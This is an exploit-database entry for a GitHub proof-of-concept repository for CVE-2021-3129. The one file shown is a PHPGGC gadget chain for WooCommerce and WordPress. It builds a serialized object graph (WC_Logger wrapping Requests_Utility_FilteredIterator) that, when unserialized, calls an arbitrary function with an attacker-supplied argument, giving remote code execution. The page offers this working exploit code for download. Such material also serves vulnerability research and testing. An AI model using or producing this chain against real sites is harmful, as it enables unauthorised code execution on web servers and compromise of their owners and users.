Exploit database

GH-ef32bec3baf31bd381c522a7d3810271

axianke/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/WordPress/P/WooCommerce/RCE/2/chain.php

PHP · 878 bytes
<?php

namespace GadgetChain\WordPress\P\WooCommerce;

class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '<= 3.4.0 & WP < 5.5.2';
    public static $vector = '__destruct';
    public static $author = 'Vincent Ulitzsch(@vinulium) and Pascal Zenker (@parzel2), based on WooCommerce RCE by erwan_lr';
    public static $information = '
        Simple adaption of the gadgetchain demonstrated at BSide Manchester: https://www.youtube.com/watch?v=GePBmsNJw6Y&t=1763.
        Original chain by erwan_lr.
        Tested up to WP 5.1.1 and WooCommerce 3.4.0 activated (but not configured).
    ';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \WC_Logger(new \Requests_Utility_FilteredIterator([$parameter], $function));
    }
}